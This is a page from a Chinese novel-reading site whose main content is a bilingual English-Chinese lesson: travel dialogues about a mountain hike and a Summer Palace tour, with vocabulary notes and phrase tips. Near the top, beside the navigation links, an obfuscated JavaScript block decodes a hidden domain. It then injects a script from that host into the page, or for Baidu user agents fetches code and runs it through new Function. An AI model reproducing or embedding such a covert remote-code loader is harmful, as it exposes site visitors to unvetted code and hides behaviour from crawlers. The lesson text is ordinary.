妙书阁小说

阅读记录  |   用户书架
上一章
目录 | 设置
下一页
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

04 景区好风光(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

04 景区好风光

风景这边独好

dialogue

paul goes to climb a mountain with his girlfriend alice on a rare free weekend.

保罗利用难得的周末时间和女朋友爱丽丝去爬山。

paul: it&#039;s a nice day today. the air on the mountain is very fresh.

保罗:今天天气真好,山上的空气很新鲜。

alice: the weather is so crazy. it rained cats and dogs last night, but cleared up in the morning.

爱丽丝:天气真是变化无常。昨晚还下着瓢泼大雨,但是早晨就变晴了。

paul: i worried last night that we couldn&#039;t climb the mountain today. come on, alice.

保罗:我昨晚还担心今天不能爬山呢。快点,爱丽丝。

alice: paul, wait for me. i am very tired and i need a rest.

爱丽丝:保罗,等等我。我太累了,需要休息一下。

paul: what about taking the cable car?

保罗:乘坐缆车怎么样?

alice: attaboy, that&#039;s just what i am thinking.

爱丽丝:太好了,这正是我所想的。

paul: wow, there are so many people waiting for the cable car.

保罗:哇,这么多人在等缆车啊。

alice: honey, be patient. it&#039;s better to wait than to climb with my legs broken.

爱丽丝:亲爱的,耐心点。等总比爬得筋疲力尽要好的多。

paul: alice, look ahead in the distance, the mountains there. they soar all the way up to the sky.

保罗:爱丽丝,往远处看,那里的山高耸入云。

alice: yeah, the scenery is beautiful.

爱丽丝:是啊,这儿的景色真美。

paul: we should take some pictures here.

保罗:我们应该在这儿拍些照片。

alice: yes, of course.

爱丽丝:是的,当然。

notes

1. crazy [?kreizi] adj. 发疯的;疯狂的;荒唐的;狂热爱好的;着迷的

2. cable [?keib?l] n.(船只、桥梁等上的)巨缆, 钢索;电缆

3. soar [s?:] v. 高耸,屹立;高飞,翱翔;猛增

4. fresh [fre?] adj. 新鲜的;新的,新近的;精神饱满的;另外的,外加的;重新的;(水)淡的

小贴士

1. cats and dogs

指下着瓢泼大雨。

关于这一短语出处有很多种说法。其中一种说法是在古老的伦敦,一场倾盆大雨后常常是汪洋一片,淹死许多迷路的狗和猫。因此,雨停,水退后,满街死狗死猫,似乎天上落下了众多的狗和猫似的。

2. the scenery of mount tai is so magnificent. the creativity of the nature is really awesome.

泰山的风景真是壮丽。大自然的创造力真让人惊奇。

3. the higher we climb, the farther our eyesight will reach.

爬得更高,就能看得更远。

4. jiuzhai valley is just like a fairyland. i lose myself in the charming of her beauties.

九寨沟就如同天堂一般。我陶醉在她的美景中不能自拔。

5. i really like the farm life. my heart and body can get relaxed and i can get close to nature every day.

我真的很喜欢乡间生活。身心能够放松下来,而且每天都能亲近自然。

6. the saying that there&#039;s a monster in the kanas lake has attracted many tourists to visit there every year.

喀纳斯湖的水怪传闻每年都吸引了很多游客去那里参观。

导游服务不可缺

dialogue

jack is visiting the summer palace. he is listening to the guide of telling something about the summer palace.

杰克正在参观颐和园。他正在听导游讲解颐和园。

guide: the summer palace is one of the most famous imperial gardens. it suffered extensive damage for several times because of various wars.

导游:颐和园是中国最著名的皇家园林之一。由于战乱,遭到过好几次严重的破坏。

jack: it&#039;s a surprising thing that the summer palace is well-preserved.

杰克:颐和园能保存得这么完好,真令人惊叹。

guide: it was rebuilt one hundred years ago and has been repaired for many times.

导游:100多年以前曾经重建过一次,后来又进行过多次修缮,才有现在的面貌。

jack: is that hill in the distance in the range of the summer palace?

杰克:远处那座山也是颐和园的吗?

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间